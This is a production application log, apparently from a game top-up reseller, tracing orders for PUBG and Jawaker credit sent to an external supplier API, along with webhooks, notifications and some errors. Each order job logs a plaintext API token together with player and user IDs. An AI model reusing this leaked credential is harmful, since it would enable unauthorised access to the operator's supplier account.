[2026-03-24 18:54:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-tmRYG-1774365381","ORD-IXQpCMR4-1774367493","ORD-MFfBPdH9-1774367527","ORD-gAmY-1774367541"]} 
[2026-03-24 18:54:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:54:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-IXQpCMR4-1774367493","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:54:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-IXQpCMR4-1774367493","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:54:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:54:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 18:54:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gAmY-1774367541","operation_id":164046} 
[2026-03-24 18:54:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:54:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":2,"skipped":2,"updates_prepared":2} 
[2026-03-24 18:54:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 18:54:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":2} 
[2026-03-24 18:54:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":2} 
[2026-03-24 18:54:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"user_id":1488,"notification_type":"order_approved","reference_id":179141} 
[2026-03-24 18:54:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"user_id":769,"notification_type":"order_approved","reference_id":179143} 
[2026-03-24 18:54:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:54:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:54:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":2,"errors":0} 
[2026-03-24 18:54:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":2,"errors":0} 
[2026-03-24 18:54:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:54:04] production.INFO: Handling job for order: 179147  
[2026-03-24 18:54:04] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:54:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:54:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=89d8c776-0708-4d2f-bb1d-5b38bb29f936&Player_ID=52327484035  
[2026-03-24 18:54:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=89d8c776-0708-4d2f-bb1d-5b38bb29f936&Player_ID=52327484035","has_body":false} 
[2026-03-24 18:54:04] production.INFO: SendAcceptReject: Notification queued {"user_id":1488,"notification_type":"order_approved","reference_id":179141} 
[2026-03-24 18:54:04] production.INFO: Order updated successfully. Order ID: 179141, Status: completed  
[2026-03-24 18:54:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-IXQpCMR4-1774367493","status":"completed","codes_count":0} 
[2026-03-24 18:54:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MFfBPdH9-1774367527","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:54:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-MFfBPdH9-1774367527","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:54:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:54:04] production.ERROR: Order not found or already processed. External ID: ORD-MFfBPdH9-1774367527  
[2026-03-24 18:54:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MFfBPdH9-1774367527","status":"completed","codes_count":0} 
[2026-03-24 18:54:05] production.INFO: Operation sent successfully {"operation_id":164048,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-T3T-1774367645","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:54:05"}},"processed_data":{"order_number":"ORD-T3T-1774367645","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:54:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 18:54:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 769  
[2026-03-24 18:54:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 18:54:16] production.INFO: Constructing job for order: 179148  
[2026-03-24 18:54:17] production.INFO: Handling job for order: 179148  
[2026-03-24 18:54:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:54:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:54:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=195000&uuid=75986f35-ea4e-4ce6-8f0d-a9faec450f04&Player_ID=2683610442  
[2026-03-24 18:54:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=195000&uuid=75986f35-ea4e-4ce6-8f0d-a9faec450f04&Player_ID=2683610442","has_body":false} 
[2026-03-24 18:54:18] production.INFO: Operation sent successfully {"operation_id":164049,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0Wgv-1774367657","amount":21.949200000000001153921402874402701854705810546875,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 18:54:18"}},"processed_data":{"order_number":"ORD-0Wgv-1774367657","amount":21.949200000000001153921402874402701854705810546875,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 18:54:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-T3T-1774367645","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:54:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-T3T-1774367645","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:54:19] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:54:19] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179147} 
[2026-03-24 18:54:19] production.INFO: Order updated successfully. Order ID: 179147, Status: completed  
[2026-03-24 18:54:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-T3T-1774367645","status":"completed","codes_count":0} 
[2026-03-24 18:54:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 18:54:25] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0Wgv-1774367657","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:54:25] production.INFO: Processed webhook data (normalized) {"id":"ORD-0Wgv-1774367657","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:54:25] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:54:25] production.INFO: SendAcceptReject: Notification queued {"user_id":663,"notification_type":"order_approved","reference_id":179148} 
[2026-03-24 18:54:25] production.INFO: Order updated successfully. Order ID: 179148, Status: completed  
[2026-03-24 18:54:25] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0Wgv-1774367657","status":"completed","codes_count":0} 
[2026-03-24 18:54:35] production.INFO: Constructing job for order: 179149  
[2026-03-24 18:54:36] production.INFO: Handling job for order: 179149  
[2026-03-24 18:54:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:54:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:54:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e0a129ac-6a36-4dc6-8ffb-4ddc30f0c1e3&Player_ID=%E2%80%AA52378850463%E2%80%AC  
[2026-03-24 18:54:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e0a129ac-6a36-4dc6-8ffb-4ddc30f0c1e3&Player_ID=%E2%80%AA52378850463%E2%80%AC","has_body":false} 
[2026-03-24 18:54:36] production.ERROR: ❌ Missing required field: order_number for site: swgamessd {"available_fields":["error","message",0],"required_fields":["order_number","amount","status"]} 
[2026-03-24 18:54:36] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":164050,"exception":"Unknown named parameter $userId"} 
[2026-03-24 18:54:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1463  
[2026-03-24 18:54:46] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gAmY-1774367541","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:54:46] production.INFO: Processed webhook data (normalized) {"id":"ORD-gAmY-1774367541","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:54:46] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:54:47] production.INFO: SendAcceptReject: Notification queued {"user_id":1488,"notification_type":"order_approved","reference_id":179145} 
[2026-03-24 18:54:47] production.INFO: Order updated successfully. Order ID: 179145, Status: completed  
[2026-03-24 18:54:47] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gAmY-1774367541","status":"completed","codes_count":0} 
[2026-03-24 18:54:47] production.INFO: Constructing job for order: 179150  
[2026-03-24 18:54:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 18:54:48] production.INFO: Handling job for order: 179150  
[2026-03-24 18:54:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:54:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:54:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e3381e00-be47-4082-9aa2-ac45d54dc927&Player_ID=52388741246  
[2026-03-24 18:54:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e3381e00-be47-4082-9aa2-ac45d54dc927&Player_ID=52388741246","has_body":false} 
[2026-03-24 18:54:49] production.INFO: Operation sent successfully {"operation_id":164051,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Fkgr-1774367689","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:54:49"}},"processed_data":{"order_number":"ORD-Fkgr-1774367689","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:55:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Fkgr-1774367689","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:55:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-Fkgr-1774367689","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:55:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:55:02] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":179150} 
[2026-03-24 18:55:02] production.INFO: Order updated successfully. Order ID: 179150, Status: completed  
[2026-03-24 18:55:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Fkgr-1774367689","status":"completed","codes_count":0} 
[2026-03-24 18:55:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:55:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:55:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:55:06] production.INFO: async() رجع: true  
[2026-03-24 18:55:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:55:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:55:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:55:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:55:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:55:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:55:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:55:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:55:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:55:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:55:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:55:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 18:55:36] production.INFO: Constructing job for order: 179151  
[2026-03-24 18:55:38] production.INFO: Handling job for order: 179151  
[2026-03-24 18:55:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:55:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:55:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e386279f-48ea-431a-bb4f-1fe20171c3f4&Player_ID=52327484035  
[2026-03-24 18:55:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e386279f-48ea-431a-bb4f-1fe20171c3f4&Player_ID=52327484035","has_body":false} 
[2026-03-24 18:55:38] production.INFO: Operation sent successfully {"operation_id":164052,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-b3Vxdx8-1774367738","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:55:38"}},"processed_data":{"order_number":"ORD-b3Vxdx8-1774367738","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:55:47] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-b3Vxdx8-1774367738","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:55:47] production.INFO: Processed webhook data (normalized) {"id":"ORD-b3Vxdx8-1774367738","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:55:47] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:55:47] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179151} 
[2026-03-24 18:55:47] production.INFO: Order updated successfully. Order ID: 179151, Status: completed  
[2026-03-24 18:55:47] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-b3Vxdx8-1774367738","status":"completed","codes_count":0} 
[2026-03-24 18:55:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 18:55:59] production.INFO: Constructing job for order: 179152  
[2026-03-24 18:56:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"3MvW3LharNh1ieOq0JaKsHvi2INVq2Rx","execution_time":"2026-03-24 18:56:02"} 
[2026-03-24 18:56:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"3MvW3LharNh1ieOq0JaKsHvi2INVq2Rx","execution_time":"2026-03-24 18:56:02","total_operations":1,"sites_count":1} 
[2026-03-24 18:56:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"3MvW3LharNh1ieOq0JaKsHvi2INVq2Rx","execution_time":"2026-03-24 18:56:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 18:56:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"3MvW3LharNh1ieOq0JaKsHvi2INVq2Rx","execution_time":"2026-03-24 18:56:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:56:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"3MvW3LharNh1ieOq0JaKsHvi2INVq2Rx","execution_time":"2026-03-24 18:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:56:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3MvW3LharNh1ieOq0JaKsHvi2INVq2Rx","execution_time":"2026-03-24 18:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:56:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"3MvW3LharNh1ieOq0JaKsHvi2INVq2Rx","execution_time":"2026-03-24 18:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:56:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"3MvW3LharNh1ieOq0JaKsHvi2INVq2Rx","execution_time":"2026-03-24 18:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:56:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"3MvW3LharNh1ieOq0JaKsHvi2INVq2Rx","execution_time":"2026-03-24 18:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:56:03] production.INFO: Handling job for order: 179152  
[2026-03-24 18:56:03] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:56:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:56:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fbebf18c-c916-42f3-aa71-e393ae4e2b4b&Player_ID=52378850463  
[2026-03-24 18:56:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fbebf18c-c916-42f3-aa71-e393ae4e2b4b&Player_ID=52378850463","has_body":false} 
[2026-03-24 18:56:03] production.INFO: Operation sent successfully {"operation_id":164053,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-twGGa-1774367763","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:56:03"}},"processed_data":{"order_number":"ORD-twGGa-1774367763","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:56:14] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-twGGa-1774367763","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:56:14] production.INFO: Processed webhook data (normalized) {"id":"ORD-twGGa-1774367763","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:56:14] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:56:14] production.INFO: SendAcceptReject: Notification queued {"user_id":1463,"notification_type":"order_approved","reference_id":179152} 
[2026-03-24 18:56:14] production.INFO: Order updated successfully. Order ID: 179152, Status: completed  
[2026-03-24 18:56:14] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-twGGa-1774367763","status":"completed","codes_count":0} 
[2026-03-24 18:56:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1463  
[2026-03-24 18:56:25] production.INFO: Constructing job for order: 179153  
[2026-03-24 18:56:28] production.INFO: Handling job for order: 179153  
[2026-03-24 18:56:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:56:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:56:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=959c2bb7-0444-4e89-b6b7-4894c3e15c7a&Player_ID=52091530316  
[2026-03-24 18:56:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=959c2bb7-0444-4e89-b6b7-4894c3e15c7a&Player_ID=52091530316","has_body":false} 
[2026-03-24 18:56:28] production.INFO: Operation sent successfully {"operation_id":164054,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zVFrkya-1774367788","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:56:28"}},"processed_data":{"order_number":"ORD-zVFrkya-1774367788","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:56:50] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-zVFrkya-1774367788","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:56:50] production.INFO: Processed webhook data (normalized) {"id":"ORD-zVFrkya-1774367788","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:56:50] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:56:50] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179153} 
[2026-03-24 18:56:50] production.INFO: Order updated successfully. Order ID: 179153, Status: completed  
[2026-03-24 18:56:50] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-zVFrkya-1774367788","status":"completed","codes_count":0} 
[2026-03-24 18:56:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 18:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZznwWA1zggD1zsLUFqhGkH3JWOTkPSZ1","execution_time":"2026-03-24 18:58:02"} 
[2026-03-24 18:58:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ZznwWA1zggD1zsLUFqhGkH3JWOTkPSZ1","execution_time":"2026-03-24 18:58:02","total_operations":1,"sites_count":1} 
[2026-03-24 18:58:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZznwWA1zggD1zsLUFqhGkH3JWOTkPSZ1","execution_time":"2026-03-24 18:58:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 18:58:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZznwWA1zggD1zsLUFqhGkH3JWOTkPSZ1","execution_time":"2026-03-24 18:58:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:58:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZznwWA1zggD1zsLUFqhGkH3JWOTkPSZ1","execution_time":"2026-03-24 18:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZznwWA1zggD1zsLUFqhGkH3JWOTkPSZ1","execution_time":"2026-03-24 18:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:58:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZznwWA1zggD1zsLUFqhGkH3JWOTkPSZ1","execution_time":"2026-03-24 18:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:58:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZznwWA1zggD1zsLUFqhGkH3JWOTkPSZ1","execution_time":"2026-03-24 18:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:58:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ZznwWA1zggD1zsLUFqhGkH3JWOTkPSZ1","execution_time":"2026-03-24 18:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:58:18] production.INFO: Constructing job for order: 179154  
[2026-03-24 18:58:20] production.INFO: Handling job for order: 179154  
[2026-03-24 18:58:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:58:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:58:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0435a44f-339d-4ce2-adf4-af7cb7d688bf&Player_ID=52091530316  
[2026-03-24 18:58:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0435a44f-339d-4ce2-adf4-af7cb7d688bf&Player_ID=52091530316","has_body":false} 
[2026-03-24 18:58:21] production.INFO: Operation sent successfully {"operation_id":164055,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PI54ATfF-1774367900","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:58:21"}},"processed_data":{"order_number":"ORD-PI54ATfF-1774367900","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
